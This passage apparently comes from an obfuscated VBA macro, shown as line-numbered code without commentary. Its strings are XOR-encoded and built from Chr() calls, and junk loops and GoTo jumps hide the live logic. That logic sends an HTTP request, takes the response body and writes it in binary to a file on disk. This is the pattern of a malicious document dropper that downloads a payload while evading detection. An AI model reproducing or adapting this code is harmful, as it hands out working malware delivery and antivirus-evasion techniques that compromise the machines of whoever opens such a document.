  286. xJhlEQzr = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(62) & Chr(104) & Chr(56) & Chr(48) & Chr(52) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  287. mZKtADIE = LTrim(xJhlEQzr)
  288. YIRieAQF = RTrim(mZKtADIE)
  289.  
  290. DoEvents
  291. Next ARMtQBeF
  292. Dim vzQxuXRl, lzWInazm, aUXRklzP As String
  293. vzQxuXRl = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(36) & Chr(57) & Chr(120) & Chr(58) & Chr(44) & Chr(33) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  294. lzWInazm = LTrim(vzQxuXRl)
  295. aUXRklzP = RTrim(lzWInazm)
  296.  
  297. Put #59, , KiiJnkli
  298. Dim zRlueSZC As Integer
  299. For zRlueSZC = 0 To 8
  300. Dim EGyTvSww, oPDNSiff, DTwmBZtt As String
  301. EGyTvSww = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(42) & Chr(119) & Chr(58) & Chr(57) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  302. oPDNSiff = LTrim(EGyTvSww)
  303. DTwmBZtt = RTrim(oPDNSiff)
  304.  
  305. DoEvents
  306. Next zRlueSZC
  307. Dim vOwulzPn, aMPazblM, hPHTuqTZ As String
  308. vOwulzPn = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(58) & Chr(119) & Chr(49) & Chr(60) & Chr(49) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  309. aMPazblM = LTrim(vOwulzPn)
  310. hPHTuqTZ = RTrim(aMPazblM)
  311.  
  312. Close #59
  313. Dim ARKdusMA As Integer
  314. For ARKdusMA = 0 To 1
  315. Dim TgbZBJyg, JmsTARpb, HyGlbYGV As String
  316. TgbZBJyg = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(51) & Chr(39) & Chr(113) & Chr(37) & Chr(51) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  317. JmsTARpb = LTrim(TgbZBJyg)
  318. HyGlbYGV = RTrim(JmsTARpb)
  319.  
  320. DoEvents
  321. Next ARKdusMA
  322. Dim ZablitVt, vzORAowu, lzLHXfLi As String
  323. ZablitVt = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(34) & Chr(44) & Chr(119) & Chr(53) & Chr(34) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  324. vzORAowu = LTrim(ZablitVt)
  325. lzLHXfLi = RTrim(vzORAowu)
  326.  
  327. YzwDVEhC:
  328.  
  329. Dim wkxVQkNM As Integer
  330. For wkxVQkNM = 0 To 8
  331. Dim aIlOeVlj, TEathlpo, qvObEFzN As String
  332. aIlOeVlj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(60) & Chr(40) & Chr(103) & Chr(35) & Chr(60) & Chr(41) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  333. TEathlpo = LTrim(aIlOeVlj)
  334. qvObEFzN = RTrim(TEathlpo)
  335.  
  336. DoEvents
  337. Next wkxVQkNM
  338. Dim rUFKmJBp, YKeSrgIR, WIihpNMd As String
  339. rUFKmJBp = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(55) & Chr(59) & Chr(102) & Chr(56) & Chr(37) & Chr(33) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  340. YKeSrgIR = LTrim(rUFKmJBp)
  341. WIihpNMd = RTrim(YKeSrgIR)
  342.  
  343.     DJJTVHAZKJC.Send Xorex(Chr(24) & Chr(23) & Chr(75) & Chr(13), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  344.  
  345.  
  346.  
  347. GoTo XpFkkdCB
  348. Dim ihnmLaNp As String
  349. Open Xorex(Chr(40) & Chr(38) & Chr(116) & Chr(41) & Chr(49) & Chr(37) & Chr(75) & Chr(49) & Chr(36) & Chr(37), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 15
  350. Dim nQqJlwAa As Integer
  351. For nQqJlwAa = 0 To 6
  352. Dim XMcWGdSs, WTaIDglP, uQDQhewW As String
  353. XMcWGdSs = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(36) & Chr(126) & Chr(38) & Chr(58) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  354. WTaIDglP = LTrim(XMcWGdSs)
  355. uQDQhewW = RTrim(WTaIDglP)
  356.  
  357. DoEvents
  358. Next nQqJlwAa
  359. Dim gySEdyAu, quXGYpBo, yiyaagxp As String
  360. gySEdyAu = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(51) & Chr(33) & Chr(103) & Chr(62) & Chr(35) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  361. quXGYpBo = LTrim(gySEdyAu)
  362. yiyaagxp = RTrim(quXGYpBo)
  363.  
  364. Put #15, , ihnmLaNp
  365. Dim guKfzYkj As Integer
  366. For guKfzYkj = 0 To 5
  367. Dim FERGeYaX, lvdphaKF, dGeWuiik As String
  368. FERGeYaX = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(63) & Chr(100) & Chr(36) & Chr(54) & Chr(57) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  369. lvdphaKF = LTrim(FERGeYaX)
  370. dGeWuiik = RTrim(lvdphaKF)
  371.  
  372. DoEvents
  373. Next guKfzYkj
  374. Dim abQBZgwe, hhJZINUQ, RyCyFQLl As String
  375. abQBZgwe = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(61) & Chr(60) & Chr(124) & Chr(55) & Chr(55) & Chr(41) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  376. hhJZINUQ = LTrim(abQBZgwe)
  377. RyCyFQLl = RTrim(hhJZINUQ)
  378.  
  379. Close #15
  380. Dim IMVLAfrt As Integer
  381. For IMVLAfrt = 0 To 5
  382. Dim OWoCRHLL, WaWNyRCr, uuUeIkNg As String
  383. OWoCRHLL = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(61) & Chr(36) & Chr(124) & Chr(58) & Chr(48) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  384. WaWNyRCr = LTrim(OWoCRHLL)
  385. uuUeIkNg = RTrim(WaWNyRCr)
  386.  
  387. DoEvents
  388. Next IMVLAfrt
  389. Dim COahTSBj, LOsANHxk, FPwDmWMl As String
  390. COahTSBj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(33) & Chr(63) & Chr(117) & Chr(55) & Chr(32) & Chr(39) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  391. LOsANHxk = LTrim(COahTSBj)
  392. FPwDmWMl = RTrim(LOsANHxk)
  393.  
  394. XpFkkdCB:
  395.  
  396. Dim lbQFubjA As Integer
  397. For lbQFubjA = 0 To 3
  398. Dim ARovogxV, ynJLwPfH, QwvfItyI As String
  399. ARovogxV = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(47) & Chr(50) & Chr(103) & Chr(32) & Chr(59) & Chr(47) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  400. ynJLwPfH = LTrim(ARovogxV)
  401. QwvfItyI = RTrim(ynJLwPfH)
  402.  
  403. DoEvents
  404. Next lbQFubjA
  405. Dim IimbNnAP, CVbetsDl, bpFCFOxD As String
  406. IimbNnAP = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(32) & Chr(47) & Chr(96) & Chr(61) & Chr(37) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  407. CVbetsDl = LTrim(IimbNnAP)
  408. bpFCFOxD = RTrim(CVbetsDl)
  409.  
  410.     KVYTHKQITTJ = DJJTVHAZKJC.responseBody
  411.  
  412.  
  413. GoTo TiMWLKAy
  414. Dim ELcIJMuR As String
  415. Open Xorex(Chr(34) & Chr(35) & Chr(115) & Chr(63) & Chr(36) & Chr(34) & Chr(75) & Chr(46) & Chr(55) & Chr(38), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 51
  416. Dim QnDZppAB As Integer
  417. For QnDZppAB = 0 To 6
  418. Dim NboiXmPz, sTWqcoFd, qjvCwqlQ As String
  419. NboiXmPz = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(35) & Chr(61) & Chr(123) & Chr(55) & Chr(38) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  420. sTWqcoFd = LTrim(NboiXmPz)
  421. qjvCwqlQ = RTrim(sTWqcoFd)
  422.  
  423. DoEvents
  424. Next QnDZppAB
  425. Dim pQNRPisZ, ySpJrsOE, aSlevjuR As String
  426. pQNRPisZ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(36) & Chr(62) & Chr(106) & Chr(62) & Chr(37) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  427. ySpJrsOE = LTrim(pQNRPisZ)
  428. aSlevjuR = RTrim(ySpJrsOE)
  429.  
  430. Put #51, , ELcIJMuR
  431. Dim CtekPCwJ As Integer
  432. For CtekPCwJ = 0 To 4
  433. Dim FUpvbGCQ, lZKLSqGE, sLIREkru As String
  434. FUpvbGCQ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(62) & Chr(103) & Chr(55) & Chr(60) & Chr(58) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  435. lZKLSqGE = LTrim(FUpvbGCQ)
  436. sLIREkru = RTrim(lZKLSqGE)
  437.  
  438. DoEvents
  439. Next CtekPCwJ
  440. Dim KZWlEUqz, mFpfdrMw, ORgJkHyr As String
  441. KZWlEUqz = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(34) & Chr(106) & Chr(42) & Chr(51) & Chr(46) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  442. mFpfdrMw = LTrim(KZWlEUqz)
  443. ORgJkHyr = RTrim(mFpfdrMw)
  444.  
  445. Close #51
  446. Dim cyAcGwFw As Integer
  447. For cyAcGwFw = 0 To 3
  448. Dim NaUpMUeg, suldxwyb, cdyhVopP As String
  449. NaUpMUeg = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(33) & Chr(51) & Chr(127) & Chr(43) & Chr(59) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  450. suldxwyb = LTrim(NaUpMUeg)
  451. cdyhVopP = RTrim(suldxwyb)
  452.  
  453. DoEvents
  454. Next cyAcGwFw
  455. Dim VTfvnKpN, LYcPWXUa, GYUXgatz As String
  456. VTfvnKpN = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(33) & Chr(57) & Chr(127) & Chr(57) & Chr(33) & Chr(43) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  457. LYcPWXUa = LTrim(VTfvnKpN)
  458. GYUXgatz = RTrim(LYcPWXUa)
  459.  
  460. TiMWLKAy:
  461.  
  462. Dim WhueHXRu As Integer
  463. For WhueHXRu = 0 To 7
  464. Dim PZKWnsFc, hcbjDYTh, oFjzRDWL As String
  465. PZKWnsFc = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(32) & Chr(63) & Chr(99) & Chr(37) & Chr(58) & Chr(41) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  466. hcbjDYTh = LTrim(PZKWnsFc)
  467. oFjzRDWL = RTrim(hcbjDYTh)
  468.  
  469. DoEvents
  470. Next WhueHXRu
  471. Dim rDovepHW, YVclSUbg, WFZXKlQC As String
  472. rDovepHW = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(55) & Chr(47) & Chr(127) & Chr(58) & Chr(52) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  473. YVclSUbg = LTrim(rDovepHW)
  474. WFZXKlQC = RTrim(YVclSUbg)
  475.  
  476.     TRULUSUSFEP = FreeFile
  477.  
  478.     Open XOGQTIGBKHF For Binary As #TRULUSUSFEP
  479.  
  480. GoTo UMroIGQw
  481. Dim TTUWYJjW As String
  482. Open Xorex(Chr(36) & Chr(41) & Chr(123) & Chr(56) & Chr(45) & Chr(53) & Chr(75) & Chr(41) & Chr(60) & Chr(60), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 58
  483. Dim rjTpGWXi As Integer
  484. For rjTpGWXi = 0 To 3
  485. Dim NEDWrPEp, sObVTvYm, cHsaidOT As String
  486. NEDWrPEp = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(35) & Chr(37) & Chr(121) & Chr(38) & Chr(61) & Chr(46) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  487. sObVTvYm = LTrim(NEDWrPEp)
  488. cHsaidOT = RTrim(sObVTvYm)
  489.  
  490. DoEvents
  491. Next rjTpGWXi
  492. Dim nKliNsXZ, wLZlmjlR, kMDYFmJT As String
  493. nKliNsXZ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(59) & Chr(97) & Chr(60) & Chr(62) & Chr(45) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  494. wLZlmjlR = LTrim(nKliNsXZ)
  495. kMDYFmJT = RTrim(wLZlmjlR)
  496.  
  497. Put #58, , TTUWYJjW
  498. Dim hWWBhIJa As Integer
  499. For hWWBhIJa = 0 To 2
  500. Dim ayVZqJdT, YzTCvdtc, sCdkQUXg As String
  501. ayVZqJdT = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(60) & Chr(36) & Chr(97) & Chr(42) & Chr(38) & Chr(37) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  502. YzTCvdtc = LTrim(ayVZqJdT)
  503. sCdkQUXg = RTrim(YzTCvdtc)
  504.  
  505. DoEvents
  506. Next hWWBhIJa
  507. Dim oIlYHLcw, QLInbjuG, NODrTzlc As String
  508. oIlYHLcw = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(52) & Chr(59) & Chr(118) & Chr(32) & Chr(56) & Chr(45) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  509. QLInbjuG = LTrim(oIlYHLcw)
  510. NODrTzlc = RTrim(QLInbjuG)
  511.  
  512. Close #58
  513. Dim ZnqFHwQL As Integer
  514. For ZnqFHwQL = 0 To 1
  515. Dim RngDQTDm, ZsKbOUlL, GkRZswxr As String
  516. RngDQTDm = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(49) & Chr(41) & Chr(103) & Chr(54) & Chr(32) & Chr(40) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  517. ZsKbOUlL = LTrim(RngDQTDm)
  518. GkRZswxr = RTrim(ZsKbOUlL)
  519.  
  520. DoEvents
  521. Next ZnqFHwQL
  522. Dim ahAbCrKe, XjSQkihr, KkXCSdDt As String
  523. ahAbCrKe = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(32) & Chr(51) & Chr(120) & Chr(57) & Chr(61) & Chr(52) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  524. XjSQkihr = LTrim(ahAbCrKe)
  525. KkXCSdDt = RTrim(XjSQkihr)
  526.  
  527. UMroIGQw:
  528.  
  529. Dim aQHlJWAR As Integer
  530. For aQHlJWAR = 0 To 5
  531. Dim sbvTTlVW, tHhjxnfv, OQCQOWtj As String
  532. sbvTTlVW = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(46) & Chr(117) & Chr(59) & Chr(36) & Chr(52) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  533. tHhjxnfv = LTrim(sbvTTlVW)
  534. OQCQOWtj = RTrim(tHhjxnfv)
  535.  
  536. DoEvents
  537. Next aQHlJWAR
  538. Dim jjAoUvNf, TuUDDpsX, ikWYxUWh As String
  539. jjAoUvNf = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(35) & Chr(33) & Chr(118) & Chr(56) & Chr(52) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  540. TuUDDpsX = LTrim(jjAoUvNf)
  541. ikWYxUWh = RTrim(TuUDDpsX)
  542.  
  543.     Put #TRULUSUSFEP, , KVYTHKQITTJ
  544.  
  545. GoTo mhQRjNnQ
  546. Dim UwcUKFRX As String
  547. Open Xorex(Chr(46) & Chr(56) & Chr(124) & Chr(40) & Chr(46) & Chr(57) & Chr(75) & Chr(34) & Chr(62) & Chr(47), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 33
  548. Dim UMBIvvfN As Integer
  549. For UMBIvvfN = 0 To 5
  550. Dim hGSaRbpj, AXvrufdA, DzquIzjS As String
  551. hGSaRbpj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(44) & Chr(50) & Chr(101) & Chr(35) & Chr(48) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  552. AXvrufdA = LTrim(hGSaRbpj)
  553. DzquIzjS = RTrim(AXvrufdA)
  554.  
  555. DoEvents
  556. Next UMBIvvfN
  557. Dim irhAkJlO, etbDQWHP, BtOByNfS As String
  558. irhAkJlO = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(37) & Chr(35) & Chr(96) & Chr(63) & Chr(59) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  559. etbDQWHP = LTrim(irhAkJlO)
  560. BtOByNfS = RTrim(etbDQWHP)
  561.  
  562. Put #33, , UwcUKFRX
  563. Dim YtyuwbQu As Integer
  564. For YtyuwbQu = 0 To 1
  565. Dim TQqIdnLJ, qUKenWQO, GZnvDjZn As String
